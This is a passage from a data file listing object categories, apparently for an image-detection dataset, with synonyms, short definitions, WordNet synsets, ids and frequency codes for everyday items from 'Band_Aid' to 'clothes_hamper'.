'id': 34, 'synset': 'band_aid.n.01', 'name': 'Band_Aid', 'frequency': 'c'}, {'synonyms': ['bandage'], 'def': 'a piece of soft material that covers and protects an injured part of the body', 'id': 35, 'synset': 'bandage.n.01', 'name': 'bandage', 'frequency': 'c'}, {'synonyms': ['bandanna', 'bandana'], 'def': 'large and brightly colored handkerchief; often used as a neckerchief', 'id': 36, 'synset': 'bandanna.n.01', 'name': 'bandanna', 'frequency': 'f'}, {'synonyms': ['banner', 'streamer'], 'def': 'long strip of cloth or paper used for decoration or advertising', 'id': 37, 'synset': 'banner.n.01', 'name': 'banner', 'frequency': 'f'}, {'synonyms': ['barrel', 'cask'], 'def': 'a cylindrical container that holds liquids', 'id': 38, 'synset': 'barrel.n.02', 'name': 'barrel', 'frequency': 'f'}, {'synonyms': ['barrette'], 'def': "a pin for holding women's hair in place", 'id': 39, 'synset': 'barrette.n.01', 'name': 'barrette', 'frequency': 'c'}, {'synonyms': ['barrow', 'garden_cart', 'lawn_cart', 'wheelbarrow'], 'def': 'a cart for carrying small loads; has handles and one or more wheels', 'id': 40, 'synset': 'barrow.n.03', 'name': 'barrow', 'frequency': 'c'}, {'synonyms': ['baseball_base'], 'def': 'a place that the runner must touch before scoring', 'id': 41, 'synset': 'base.n.03', 'name': 'baseball_base', 'frequency': 'f'}, {'synonyms': ['baseball'], 'def': 'a ball used in playing baseball', 'id': 42, 'synset': 'baseball.n.02', 'name': 'baseball', 'frequency': 'f'}, {'synonyms': ['baseball_bat'], 'def': 'an implement used in baseball by the batter', 'id': 43, 'synset': 'baseball_bat.n.01', 'name': 'baseball_bat', 'frequency': 'f'}, {'synonyms': ['baseball_cap', 'jockey_cap', 'golf_cap'], 'def': 'a cap with a bill', 'id': 44, 'synset': 'baseball_cap.n.01', 'name': 'baseball_cap', 'frequency': 'f'}, {'synonyms': ['baseball_glove', 'baseball_mitt'], 'def': 'the handwear used by fielders in playing baseball', 'id': 45, 'synset': 'baseball_glove.n.01', 'name': 'baseball_glove', 'frequency': 'f'}, {'synonyms': ['basket', 'handbasket'], 'def': 'a container that is usually woven and has handles', 'id': 46, 'synset': 'basket.n.01', 'name': 'basket', 'frequency': 'f'}, {'synonyms': ['basketball'], 'def': 'an inflated ball used in playing basketball', 'id': 47, 'synset': 'basketball.n.02', 'name': 'basketball', 'frequency': 'c'}, {'synonyms': ['bat_(animal)'], 'def': 'nocturnal mouselike mammal with forelimbs modified to form membranous wings', 'id': 48, 'synset': 'bat.n.01', 'name': 'bat_(animal)', 'frequency': 'c'}, {'synonyms': ['bath_mat'], 'def': 'a heavy towel or mat to stand on while drying yourself after a bath', 'id': 49, 'synset': 'bath_mat.n.01', 'name': 'bath_mat', 'frequency': 'f'}, {'synonyms': ['bath_towel'], 'def': 'a large towel; to dry yourself after a bath', 'id': 50, 'synset': 'bath_towel.n.01', 'name': 'bath_towel', 'frequency': 'f'}, {'synonyms': ['bathrobe'], 'def': 'a loose-fitting robe of towelling; worn after a bath or swim', 'id': 51, 'synset': 'bathrobe.n.01', 'name': 'bathrobe', 'frequency': 'c'}, {'synonyms': ['bathtub', 'bathing_tub'], 'def': 'a large open container that you fill with water and use to wash the body', 'id': 52, 'synset': 'bathtub.n.01', 'name': 'bathtub', 'frequency': 'f'}, {'synonyms': ['battery'], 'def': 'a portable device that produces electricity', 'id': 53, 'synset': 'battery.n.02', 'name': 'battery', 'frequency': 'c'}, {'synonyms': ['bead'], 'def': 'a small ball with a hole through the middle used for ornamentation, jewellery, etc.', 'id': 54, 'synset': 'bead.n.01', 'name': 'bead', 'frequency': 'c'}, {'synonyms': ['bean_curd', 'tofu'], 'def': 'cheeselike food made of curdled soybean milk', 'id': 55, 'synset': 'bean_curd.n.01', 'name': 'bean_curd', 'frequency': 'c'}, {'synonyms': ['beanbag'], 'def': 'a bag filled with dried beans or similar items; used in games or to sit on', 'id': 56, 'synset': 'beanbag.n.01', 'name': 'beanbag', 'frequency': 'c'}, {'synonyms': ['beanie', 'beany'], 'def': 'a small skullcap; formerly worn by schoolboys and college freshmen', 'id': 57, 'synset': 'beanie.n.01', 'name': 'beanie', 'frequency': 'f'}, {'synonyms': ['bear'], 'def': 'large carnivorous or omnivorous mammals with shaggy coats and claws', 'id': 58, 'synset': 'bear.n.01', 'name': 'bear', 'frequency': 'f'}, {'synonyms': ['bed'], 'def': 'a piece of furniture that provides a place to sleep', 'id': 59, 'synset': 'bed.n.01', 'name': 'bed', 'frequency': 'f'}, {'synonyms': ['bedspread', 'bedcover', 'bed_covering', 'counterpane', 'spread'], 'def': 'decorative cover for a bed', 'id': 60, 'synset': 'bedspread.n.01', 'name': 'bedspread', 'frequency': 'f'}, {'synonyms': ['cow'], 'def': 'cattle/cow', 'id': 61, 'synset': 'beef.n.01', 'name': 'cow', 'frequency': 'f'}, {'synonyms': ['beef_(food)', 'boeuf_(food)'], 'def': 'meat from an adult domestic bovine', 'id': 62, 'synset': 'beef.n.02', 'name': 'beef_(food)', 'frequency': 'f'}, {'synonyms': ['beer_bottle'], 'def': 'a bottle that holds beer', 'id': 63, 'synset': 'beer_bottle.n.01', 'name': 'beer_bottle', 'frequency': 'f'}, {'synonyms': ['beer_can'], 'def': 'a can that holds beer', 'id': 64, 'synset': 'beer_can.n.01', 'name': 'beer_can', 'frequency': 'c'}, {'synonyms': ['bell'], 'def': 'a hollow device made of metal that makes a ringing sound when struck', 'id': 65, 'synset': 'bell.n.01', 'name': 'bell', 'frequency': 'f'}, {'synonyms': ['bell_pepper', 'capsicum'], 'def': 'large bell-shaped sweet pepper in green or red or yellow or orange or black varieties', 'id': 66, 'synset': 'bell_pepper.n.02', 'name': 'bell_pepper', 'frequency': 'f'}, {'synonyms': ['belt'], 'def': 'a band to tie or buckle around the body (usually at the waist)', 'id': 67, 'synset': 'belt.n.02', 'name': 'belt', 'frequency': 'f'}, {'synonyms': ['belt_buckle'], 'def': 'the buckle used to fasten a belt', 'id': 68, 'synset': 'belt_buckle.n.01', 'name': 'belt_buckle', 'frequency': 'f'}, {'synonyms': ['bench'], 'def': 'a long seat for more than one person', 'id': 69, 'synset': 'bench.n.01', 'name': 'bench', 'frequency': 'f'}, {'synonyms': ['beret'], 'def': 'a cap with no brim or bill; made of soft cloth', 'id': 70, 'synset': 'beret.n.01', 'name': 'beret', 'frequency': 'c'}, {'synonyms': ['bib'], 'def': 'a napkin tied under the chin of a child while eating', 'id': 71, 'synset': 'bib.n.02', 'name': 'bib', 'frequency': 'c'}, {'synonyms': ['bicycle', 'bike_(bicycle)'], 'def': 'a wheeled vehicle that has two wheels and is moved by foot pedals', 'id': 72, 'synset': 'bicycle.n.01', 'name': 'bicycle', 'frequency': 'f'}, {'synonyms': ['visor', 'vizor'], 'def': 'a brim that projects to the front to shade the eyes', 'id': 73, 'synset': 'bill.n.09', 'name': 'visor', 'frequency': 'f'}, {'synonyms': ['billboard'], 'def': 'large outdoor signboard', 'id': 74, 'synset': 'billboard.n.01', 'name': 'billboard', 'frequency': 'f'}, {'synonyms': ['binder', 'ring-binder'], 'def': 'holds loose papers or magazines', 'id': 75, 'synset': 'binder.n.03', 'name': 'binder', 'frequency': 'c'}, {'synonyms': ['binoculars', 'field_glasses', 'opera_glasses'], 'def': 'an optical instrument designed for simultaneous use by both eyes', 'id': 76, 'synset': 'binoculars.n.01', 'name': 'binoculars', 'frequency': 'c'}, {'synonyms': ['bird'], 'def': 'animal characterized by feathers and wings', 'id': 77, 'synset': 'bird.n.01', 'name': 'bird', 'frequency': 'f'}, {'synonyms': ['birdfeeder'], 'def': 'an outdoor device that supplies food for wild birds', 'id': 78, 'synset': 'bird_feeder.n.01', 'name': 'birdfeeder', 'frequency': 'c'}, {'synonyms': ['birdbath'], 'def': 'an ornamental basin (usually in a garden) for birds to bathe in', 'id': 79, 'synset': 'birdbath.n.01', 'name': 'birdbath', 'frequency': 'c'}, {'synonyms': ['birdcage'], 'def': 'a cage in which a bird can be kept', 'id': 80, 'synset': 'birdcage.n.01', 'name': 'birdcage', 'frequency': 'c'}, {'synonyms': ['birdhouse'], 'def': 'a shelter for birds', 'id': 81, 'synset': 'birdhouse.n.01', 'name': 'birdhouse', 'frequency': 'c'}, {'synonyms': ['birthday_cake'], 'def': 'decorated cake served at a birthday party', 'id': 82, 'synset': 'birthday_cake.n.01', 'name': 'birthday_cake', 'frequency': 'f'}, {'synonyms': ['black_sheep'], 'def': 'sheep with a black coat', 'id': 83, 'synset': 'black_sheep.n.02', 'name': 'black_sheep', 'frequency': 'c'}, {'synonyms': ['blackberry'], 'def': 'large sweet black or very dark purple edible aggregate fruit', 'id': 84, 'synset': 'blackberry.n.01', 'name': 'blackberry', 'frequency': 'c'}, {'synonyms': ['blackboard', 'chalkboard'], 'def': 'sheet of slate; for writing with chalk', 'id': 85, 'synset': 'blackboard.n.01', 'name': 'blackboard', 'frequency': 'f'}, {'synonyms': ['blanket'], 'def': 'bedding that keeps a person warm in bed', 'id': 86, 'synset': 'blanket.n.01', 'name': 'blanket', 'frequency': 'f'}, {'synonyms': ['blazer', 'sport_jacket', 'sport_coat', 'sports_jacket', 'sports_coat'], 'def': 'lightweight jacket; often striped in the colors of a club or school', 'id': 87, 'synset': 'blazer.n.01', 'name': 'blazer', 'frequency': 'c'}, {'synonyms': ['blender', 'liquidizer', 'liquidiser'], 'def': 'an electrically powered mixer that mix or chop or liquefy foods', 'id': 88, 'synset': 'blender.n.01', 'name': 'blender', 'frequency': 'f'}, {'synonyms': ['blinker', 'flasher'], 'def': 'a light that flashes on and off; used as a signal or to send messages', 'id': 89, 'synset': 'blinker.n.01', 'name': 'blinker', 'frequency': 'f'}, {'synonyms': ['blouse'], 'def': 'a top worn by women', 'id': 90, 'synset': 'blouse.n.01', 'name': 'blouse', 'frequency': 'f'}, {'synonyms': ['blueberry'], 'def': 'sweet edible dark-blue berries of blueberry plants', 'id': 91, 'synset': 'blueberry.n.02', 'name': 'blueberry', 'frequency': 'f'}, {'synonyms': ['boat', 'ship_(boat)'], 'def': 'a vessel for travel on water', 'id': 92, 'synset': 'boat.n.01', 'name': 'boat', 'frequency': 'f'}, {'synonyms': ['bobbin', 'spool', 'reel'], 'def': 'a thing around which thread/tape/film or other flexible materials can be wound', 'id': 93, 'synset': 'bobbin.n.01', 'name': 'bobbin', 'frequency': 'c'}, {'synonyms': ['bobby_pin', 'hairgrip'], 'def': 'a flat wire hairpin used to hold bobbed hair in place', 'id': 94, 'synset': 'bobby_pin.n.01', 'name': 'bobby_pin', 'frequency': 'c'}, {'synonyms': ['boiled_egg', 'coddled_egg'], 'def': 'egg cooked briefly in the shell in gently boiling water', 'id': 95, 'synset': 'boiled_egg.n.01', 'name': 'boiled_egg', 'frequency': 'c'}, {'synonyms': ['deadbolt'], 'def': 'the part of a lock that is engaged or withdrawn with a key', 'id': 96, 'synset': 'bolt.n.03', 'name': 'deadbolt', 'frequency': 'c'}, {'synonyms': ['bolt'], 'def': 'a screw that screws into a nut to form a fastener', 'id': 97, 'synset': 'bolt.n.06', 'name': 'bolt', 'frequency': 'f'}, {'synonyms': ['book'], 'def': 'a written work or composition that has been published', 'id': 98, 'synset': 'book.n.01', 'name': 'book', 'frequency': 'f'}, {'synonyms': ['bookcase'], 'def': 'a piece of furniture with shelves for storing books', 'id': 99, 'synset': 'bookcase.n.01', 'name': 'bookcase', 'frequency': 'c'}, {'synonyms': ['booklet', 'brochure', 'leaflet', 'pamphlet'], 'def': 'a small book usually having a paper cover', 'id': 100, 'synset': 'booklet.n.01', 'name': 'booklet', 'frequency': 'c'}, {'synonyms': ['boot'], 'def': 'footwear that covers the whole foot and lower leg', 'id': 101, 'synset': 'boot.n.01', 'name': 'boot', 'frequency': 'f'}, {'synonyms': ['bottle'], 'def': 'a glass or plastic vessel used for storing drinks or other liquids', 'id': 102, 'synset': 'bottle.n.01', 'name': 'bottle', 'frequency': 'f'}, {'synonyms': ['bottle_opener'], 'def': 'an opener for removing caps or corks from bottles', 'id': 103, 'synset': 'bottle_opener.n.01', 'name': 'bottle_opener', 'frequency': 'c'}, {'synonyms': ['bouquet'], 'def': 'an arrangement of flowers that is usually given as a present', 'id': 104, 'synset': 'bouquet.n.01', 'name': 'bouquet', 'frequency': 'c'}, {'synonyms': ['bow_(decorative_ribbons)'], 'def': 'a decorative interlacing of ribbons', 'id': 105, 'synset': 'bow.n.08', 'name': 'bow_(decorative_ribbons)', 'frequency': 'f'}, {'synonyms': ['bow-tie', 'bowtie'], 'def': "a man's tie that ties in a bow", 'id': 106, 'synset': 'bow_tie.n.01', 'name': 'bow-tie', 'frequency': 'f'}, {'synonyms': ['bowl'], 'def': 'a dish that is round and open at the top for serving foods', 'id': 107, 'synset': 'bowl.n.03', 'name': 'bowl', 'frequency': 'f'}, {'synonyms': ['bowler_hat', 'bowler', 'derby_hat', 'derby', 'plug_hat'], 'def': 'a felt hat that is round and hard with a narrow brim', 'id': 108, 'synset': 'bowler_hat.n.01', 'name': 'bowler_hat', 'frequency': 'c'}, {'synonyms': ['box'], 'def': 'a (usually rectangular) container; may have a lid', 'id': 109, 'synset': 'box.n.01', 'name': 'box', 'frequency': 'f'}, {'synonyms': ['suspenders'], 'def': 'elastic straps that hold trousers up (usually used in the plural)', 'id': 110, 'synset': 'brace.n.06', 'name': 'suspenders', 'frequency': 'c'}, {'synonyms': ['bracelet', 'bangle'], 'def': 'jewelry worn around the wrist for decoration', 'id': 111, 'synset': 'bracelet.n.02', 'name': 'bracelet', 'frequency': 'f'}, {'synonyms': ['brassiere', 'bra', 'bandeau'], 'def': 'an undergarment worn by women to support their breasts', 'id': 112, 'synset': 'brassiere.n.01', 'name': 'brassiere', 'frequency': 'c'}, {'synonyms': ['bread-bin', 'breadbox'], 'def': 'a container used to keep bread or cake in', 'id': 113, 'synset': 'bread-bin.n.01', 'name': 'bread-bin', 'frequency': 'c'}, {'synonyms': ['bread'], 'def': 'food made from dough of flour or meal and usually raised with yeast or baking powder and then baked', 'id': 114, 'synset': 'bread.n.01', 'name': 'bread', 'frequency': 'f'}, {'synonyms': ['bridal_gown', 'wedding_gown', 'wedding_dress'], 'def': 'a gown worn by the bride at a wedding', 'id': 115, 'synset': 'bridal_gown.n.01', 'name': 'bridal_gown', 'frequency': 'f'}, {'synonyms': ['briefcase'], 'def': 'a case with a handle; for carrying papers or files or books', 'id': 116, 'synset': 'briefcase.n.01', 'name': 'briefcase', 'frequency': 'c'}, {'synonyms': ['broccoli'], 'def': 'plant with dense clusters of tight green flower buds', 'id': 117, 'synset': 'broccoli.n.01', 'name': 'broccoli', 'frequency': 'f'}, {'synonyms': ['broom'], 'def': 'bundle of straws or twigs attached to a long handle; used for cleaning', 'id': 118, 'synset': 'broom.n.01', 'name': 'broom', 'frequency': 'c'}, {'synonyms': ['brownie'], 'def': 'square or bar of very rich chocolate cake usually with nuts', 'id': 119, 'synset': 'brownie.n.03', 'name': 'brownie', 'frequency': 'c'}, {'synonyms': ['brussels_sprouts'], 'def': 'the small edible cabbage-like buds growing along a stalk', 'id': 120, 'synset': 'brussels_sprouts.n.01', 'name': 'brussels_sprouts', 'frequency': 'c'}, {'synonyms': ['bucket', 'pail'], 'def': 'a roughly cylindrical vessel that is open at the top', 'id': 121, 'synset': 'bucket.n.01', 'name': 'bucket', 'frequency': 'f'}, {'synonyms': ['horned_cow'], 'def': 'a cow with horns', 'id': 122, 'synset': 'bull.n.11', 'name': 'bull', 'frequency': 'c'}, {'synonyms': ['bulldog'], 'def': 'a thickset short-haired dog with a large head and strong undershot lower jaw', 'id': 123, 'synset': 'bulldog.n.01', 'name': 'bulldog', 'frequency': 'c'}, {'synonyms': ['bullet_train'], 'def': 'a high-speed passenger train', 'id': 124, 'synset': 'bullet_train.n.01', 'name': 'bullet_train', 'frequency': 'c'}, {'synonyms': ['bulletin_board', 'notice_board'], 'def': 'a board that hangs on a wall; displays announcements', 'id': 125, 'synset': 'bulletin_board.n.02', 'name': 'bulletin_board', 'frequency': 'c'}, {'synonyms': ['bullhorn', 'megaphone'], 'def': 'a portable loudspeaker with built-in microphone and amplifier', 'id': 126, 'synset': 'bullhorn.n.01', 'name': 'bullhorn', 'frequency': 'c'}, {'synonyms': ['bun', 'roll'], 'def': 'small rounded bread either plain or sweet', 'id': 127, 'synset': 'bun.n.01', 'name': 'bun', 'frequency': 'f'}, {'synonyms': ['bunk_bed'], 'def': 'beds built one above the other', 'id': 128, 'synset': 'bunk_bed.n.01', 'name': 'bunk_bed', 'frequency': 'c'}, {'synonyms': ['buoy'], 'def': 'a float attached by rope to the seabed to mark channels in a harbor or underwater hazards', 'id': 129, 'synset': 'buoy.n.01', 'name': 'buoy', 'frequency': 'f'}, {'synonyms': ['bus_(vehicle)', 'autobus', 'charabanc', 'double-decker', 'motorbus', 'motorcoach'], 'def': 'a vehicle carrying many passengers; used for public transport', 'id': 130, 'synset': 'bus.n.01', 'name': 'bus_(vehicle)', 'frequency': 'f'}, {'synonyms': ['business_card'], 'def': "a card on which are printed the person's name and business affiliation", 'id': 131, 'synset': 'business_card.n.01', 'name': 'business_card', 'frequency': 'c'}, {'synonyms': ['butter'], 'def': 'an edible emulsion of fat globules made by churning milk or cream; for cooking and table use', 'id': 132, 'synset': 'butter.n.01', 'name': 'butter', 'frequency': 'f'}, {'synonyms': ['butterfly'], 'def': 'insect typically having a slender body with knobbed antennae and broad colorful wings', 'id': 133, 'synset': 'butterfly.n.01', 'name': 'butterfly', 'frequency': 'c'}, {'synonyms': ['button'], 'def': 'a round fastener sewn to shirts and coats etc to fit through buttonholes', 'id': 134, 'synset': 'button.n.01', 'name': 'button', 'frequency': 'f'}, {'synonyms': ['cab_(taxi)', 'taxi', 'taxicab'], 'def': 'a car that takes passengers where they want to go in exchange for money', 'id': 135, 'synset': 'cab.n.03', 'name': 'cab_(taxi)', 'frequency': 'f'}, {'synonyms': ['cabin_car', 'caboose'], 'def': 'a car on a freight train for use of the train crew; usually the last car on the train', 'id': 136, 'synset': 'cabin_car.n.01', 'name': 'cabin_car', 'frequency': 'c'}, {'synonyms': ['cabinet'], 'def': 'a piece of furniture resembling a cupboard with doors and shelves and drawers', 'id': 137, 'synset': 'cabinet.n.01', 'name': 'cabinet', 'frequency': 'f'}, {'synonyms': ['cake'], 'def': 'baked goods made from or based on a mixture of flour, sugar, eggs, and fat', 'id': 138, 'synset': 'cake.n.03', 'name': 'cake', 'frequency': 'f'}, {'synonyms': ['calculator'], 'def': 'a small machine that is used for mathematical calculations', 'id': 139, 'synset': 'calculator.n.02', 'name': 'calculator', 'frequency': 'c'}, {'synonyms': ['calendar'], 'def': 'a list or register of events (appointments/social events/court cases, etc)', 'id': 140, 'synset': 'calendar.n.02', 'name': 'calendar', 'frequency': 'f'}, {'synonyms': ['calf'], 'def': 'young of domestic cattle', 'id': 141, 'synset': 'calf.n.01', 'name': 'calf', 'frequency': 'c'}, {'synonyms': ['camcorder'], 'def': 'a portable television camera and videocassette recorder', 'id': 142, 'synset': 'camcorder.n.01', 'name': 'camcorder', 'frequency': 'c'}, {'synonyms': ['camel'], 'def': 'cud-chewing mammal used as a draft or saddle animal in desert regions', 'id': 143, 'synset': 'camel.n.01', 'name': 'camel', 'frequency': 'c'}, {'synonyms': ['camera'], 'def': 'equipment for taking photographs', 'id': 144, 'synset': 'camera.n.01', 'name': 'camera', 'frequency': 'f'}, {'synonyms': ['camera_lens'], 'def': 'a lens that focuses the image in a camera', 'id': 145, 'synset': 'camera_lens.n.01', 'name': 'camera_lens', 'frequency': 'c'}, {'synonyms': ['camper_(vehicle)', 'camping_bus', 'motor_home'], 'def': 'a recreational vehicle equipped for camping out while traveling', 'id': 146, 'synset': 'camper.n.02', 'name': 'camper_(vehicle)', 'frequency': 'c'}, {'synonyms': ['can', 'tin_can'], 'def': 'airtight sealed metal container for food or drink or paint etc.', 'id': 147, 'synset': 'can.n.01', 'name': 'can', 'frequency': 'f'}, {'synonyms': ['can_opener', 'tin_opener'], 'def': 'a device for cutting cans open', 'id': 148, 'synset': 'can_opener.n.01', 'name': 'can_opener', 'frequency': 'c'}, {'synonyms': ['candle', 'candlestick'], 'def': 'stick of wax with a wick in the middle', 'id': 149, 'synset': 'candle.n.01', 'name': 'candle', 'frequency': 'f'}, {'synonyms': ['candle_holder'], 'def': 'a holder with sockets for candles', 'id': 150, 'synset': 'candlestick.n.01', 'name': 'candle_holder', 'frequency': 'f'}, {'synonyms': ['candy_cane'], 'def': 'a hard candy in the shape of a rod (usually with stripes)', 'id': 151, 'synset': 'candy_cane.n.01', 'name': 'candy_cane', 'frequency': 'c'}, {'synonyms': ['walking_cane'], 'def': 'a stick that people can lean on to help them walk', 'id': 152, 'synset': 'cane.n.01', 'name': 'walking_cane', 'frequency': 'c'}, {'synonyms': ['canister', 'cannister'], 'def': 'metal container for storing dry foods such as tea or flour', 'id': 153, 'synset': 'canister.n.02', 'name': 'canister', 'frequency': 'c'}, {'synonyms': ['canoe'], 'def': 'small and light boat; pointed at both ends; propelled with a paddle', 'id': 154, 'synset': 'canoe.n.01', 'name': 'canoe', 'frequency': 'c'}, {'synonyms': ['cantaloup', 'cantaloupe'], 'def': 'the fruit of a cantaloup vine; small to medium-sized melon with yellowish flesh', 'id': 155, 'synset': 'cantaloup.n.02', 'name': 'cantaloup', 'frequency': 'c'}, {'synonyms': ['cap_(headwear)'], 'def': 'a tight-fitting headwear', 'id': 156, 'synset': 'cap.n.01', 'name': 'cap_(headwear)', 'frequency': 'f'}, {'synonyms': ['bottle_cap', 'cap_(container_lid)'], 'def': 'a top (as for a bottle)', 'id': 157, 'synset': 'cap.n.02', 'name': 'bottle_cap', 'frequency': 'f'}, {'synonyms': ['cape'], 'def': 'a sleeveless garment like a cloak but shorter', 'id': 158, 'synset': 'cape.n.02', 'name': 'cape', 'frequency': 'c'}, {'synonyms': ['cappuccino', 'coffee_cappuccino'], 'def': 'equal parts of espresso and steamed milk', 'id': 159, 'synset': 'cappuccino.n.01', 'name': 'cappuccino', 'frequency': 'c'}, {'synonyms': ['car_(automobile)', 'auto_(automobile)', 'automobile'], 'def': 'a motor vehicle with four wheels', 'id': 160, 'synset': 'car.n.01', 'name': 'car_(automobile)', 'frequency': 'f'}, {'synonyms': ['railcar_(part_of_a_train)', 'railway_car_(part_of_a_train)', 'railroad_car_(part_of_a_train)'], 'def': 'a wheeled vehicle adapted to the rails of railroad (mark each individual railcar separately)', 'id': 161, 'synset': 'car.n.02', 'name': 'railcar_(part_of_a_train)', 'frequency': 'f'}, {'synonyms': ['identity_card'], 'def': 'a card certifying the identity of the bearer', 'id': 162, 'synset': 'card.n.02', 'name': 'identity_card', 'frequency': 'c'}, {'synonyms': ['card'], 'def': 'a rectangular piece of paper used to send messages (e.g. greetings or pictures)', 'id': 163, 'synset': 'card.n.03', 'name': 'card', 'frequency': 'c'}, {'synonyms': ['cardigan'], 'def': 'knitted jacket that is fastened up the front with buttons or a zipper', 'id': 164, 'synset': 'cardigan.n.01', 'name': 'cardigan', 'frequency': 'c'}, {'synonyms': ['horse_carriage'], 'def': 'a vehicle with wheels drawn by one or more horses', 'id': 165, 'synset': 'carriage.n.02', 'name': 'horse_carriage', 'frequency': 'c'}, {'synonyms': ['carrot'], 'def': 'deep orange edible root of the cultivated carrot plant', 'id': 166, 'synset': 'carrot.n.01', 'name': 'carrot', 'frequency': 'f'}, {'synonyms': ['tote_bag'], 'def': 'a capacious bag or basket', 'id': 167, 'synset': 'carryall.n.01', 'name': 'tote_bag', 'frequency': 'f'}, {'synonyms': ['cart'], 'def': 'a heavy open wagon usually having two wheels and drawn by an animal', 'id': 168, 'synset': 'cart.n.01', 'name': 'cart', 'frequency': 'c'}, {'synonyms': ['carton'], 'def': 'a container made of cardboard for holding food or drink', 'id': 169, 'synset': 'carton.n.02', 'name': 'carton', 'frequency': 'c'}, {'synonyms': ['cash_register', 'register_(for_cash_transactions)'], 'def': 'a cashbox with an adding machine to register transactions', 'id': 170, 'synset': 'cash_register.n.01', 'name': 'cash_register', 'frequency': 'c'}, {'synonyms': ['cast', 'plaster_cast', 'plaster_bandage'], 'def': 'bandage consisting of a firm covering that immobilizes broken bones while they heal', 'id': 171, 'synset': 'cast.n.05', 'name': 'cast', 'frequency': 'c'}, {'synonyms': ['cat'], 'def': 'a domestic house cat', 'id': 172, 'synset': 'cat.n.01', 'name': 'cat', 'frequency': 'f'}, {'synonyms': ['cauliflower'], 'def': 'edible compact head of white undeveloped flowers', 'id': 173, 'synset': 'cauliflower.n.02', 'name': 'cauliflower', 'frequency': 'f'}, {'synonyms': ['cayenne_(spice)', 'cayenne_pepper_(spice)', 'red_pepper_(spice)'], 'def': 'ground pods and seeds of pungent red peppers of the genus Capsicum', 'id': 174, 'synset': 'cayenne.n.02', 'name': 'cayenne_(spice)', 'frequency': 'c'}, {'synonyms': ['CD_player'], 'def': 'electronic equipment for playing compact discs (CDs)', 'id': 175, 'synset': 'cd_player.n.01', 'name': 'CD_player', 'frequency': 'c'}, {'synonyms': ['celery'], 'def': 'widely cultivated herb with aromatic leaf stalks that are eaten raw or cooked', 'id': 176, 'synset': 'celery.n.01', 'name': 'celery', 'frequency': 'f'}, {'synonyms': ['cellular_telephone', 'cellular_phone', 'cellphone', 'mobile_phone', 'smart_phone'], 'def': 'a hand-held mobile telephone', 'id': 177, 'synset': 'cellular_telephone.n.01', 'name': 'cellular_telephone', 'frequency': 'f'}, {'synonyms': ['chair'], 'def': 'a seat for one person, with a support for the back', 'id': 178, 'synset': 'chair.n.01', 'name': 'chair', 'frequency': 'f'}, {'synonyms': ['chandelier'], 'def': 'branched lighting fixture; often ornate; hangs from the ceiling', 'id': 179, 'synset': 'chandelier.n.01', 'name': 'chandelier', 'frequency': 'f'}, {'synonyms': ['cherry'], 'def': 'a red fruit with a single hard stone', 'id': 180, 'synset': 'cherry.n.03', 'name': 'cherry', 'frequency': 'c'}, {'synonyms': ['chicken_(animal)'], 'def': 'a domestic fowl bred for flesh or eggs', 'id': 181, 'synset': 'chicken.n.02', 'name': 'chicken_(animal)', 'frequency': 'c'}, {'synonyms': ['chickpea', 'garbanzo'], 'def': 'the seed of the chickpea plant; usually dried', 'id': 182, 'synset': 'chickpea.n.01', 'name': 'chickpea', 'frequency': 'c'}, {'synonyms': ['chili_(vegetable)', 'chili_pepper_(vegetable)', 'chilli_(vegetable)', 'chilly_(vegetable)', 'chile_(vegetable)'], 'def': 'very hot and finely tapering pepper of special pungency', 'id': 183, 'synset': 'chili.n.02', 'name': 'chili_(vegetable)', 'frequency': 'c'}, {'synonyms': ['crisp_(potato_chip)', 'potato_chip'], 'def': 'a thin crisp slice of potato fried in deep fat', 'id': 184, 'synset': 'chip.n.04', 'name': 'crisp_(potato_chip)', 'frequency': 'c'}, {'synonyms': ['chocolate_bar'], 'def': 'a bar of chocolate candy', 'id': 185, 'synset': 'chocolate_bar.n.01', 'name': 'chocolate_bar', 'frequency': 'c'}, {'synonyms': ['chocolate_cake'], 'def': 'cake containing chocolate', 'id': 186, 'synset': 'chocolate_cake.n.01', 'name': 'chocolate_cake', 'frequency': 'c'}, {'synonyms': ['choker', 'collar', 'neckband'], 'def': 'shirt collar, animal collar, or tight-fitting necklace', 'id': 187, 'synset': 'choker.n.03', 'name': 'choker', 'frequency': 'f'}, {'synonyms': ['chopping_board', 'cutting_board', 'chopping_block'], 'def': 'a wooden board where meats or vegetables can be cut', 'id': 188, 'synset': 'chopping_board.n.01', 'name': 'chopping_board', 'frequency': 'f'}, {'synonyms': ['chopstick'], 'def': 'one of a pair of slender sticks used as oriental tableware to eat food with', 'id': 189, 'synset': 'chopstick.n.01', 'name': 'chopstick', 'frequency': 'f'}, {'synonyms': ['Christmas_tree'], 'def': 'an ornamented evergreen used as a Christmas decoration', 'id': 190, 'synset': 'christmas_tree.n.05', 'name': 'Christmas_tree', 'frequency': 'f'}, {'synonyms': ['slide'], 'def': 'sloping channel through which things can descend', 'id': 191, 'synset': 'chute.n.02', 'name': 'slide', 'frequency': 'c'}, {'synonyms': ['cigarette'], 'def': 'finely ground tobacco wrapped in paper; for smoking', 'id': 192, 'synset': 'cigarette.n.01', 'name': 'cigarette', 'frequency': 'f'}, {'synonyms': ['cigarette_case', 'cigarette_pack'], 'def': 'a small flat case for holding cigarettes', 'id': 193, 'synset': 'cigarette_case.n.01', 'name': 'cigarette_case', 'frequency': 'c'}, {'synonyms': ['cistern', 'water_tank'], 'def': 'a tank that holds the water used to flush a toilet', 'id': 194, 'synset': 'cistern.n.02', 'name': 'cistern', 'frequency': 'f'}, {'synonyms': ['clasp'], 'def': 'a fastener (as a buckle or hook) that is used to hold two things together', 'id': 195, 'synset': 'clasp.n.01', 'name': 'clasp', 'frequency': 'c'}, {'synonyms': ['cleansing_agent', 'cleanser', 'cleaner'], 'def': 'a preparation used in cleaning something', 'id': 196, 'synset': 'cleansing_agent.n.01', 'name': 'cleansing_agent', 'frequency': 'c'}, {'synonyms': ['clip'], 'def': 'any of various small fasteners used to hold loose articles together', 'id': 197, 'synset': 'clip.n.03', 'name': 'clip', 'frequency': 'c'}, {'synonyms': ['clipboard'], 'def': 'a small writing board with a clip at the top for holding papers', 'id': 198, 'synset': 'clipboard.n.01', 'name': 'clipboard', 'frequency': 'c'}, {'synonyms': ['clock', 'timepiece', 'timekeeper'], 'def': 'a timepiece that shows the time of day', 'id': 199, 'synset': 'clock.n.01', 'name': 'clock', 'frequency': 'f'}, {'synonyms': ['clock_tower'], 'def': 'a tower with a large clock visible high up on an outside face', 'id': 200, 'synset': 'clock_tower.n.01', 'name': 'clock_tower', 'frequency': 'f'}, {'synonyms': ['clothes_hamper', 'laundry_basket', 'clothes_basket'], 'def': 'a hamper that holds dirty clothes to be washed or wet clothes to be dried', 'id': 201, 'synset': 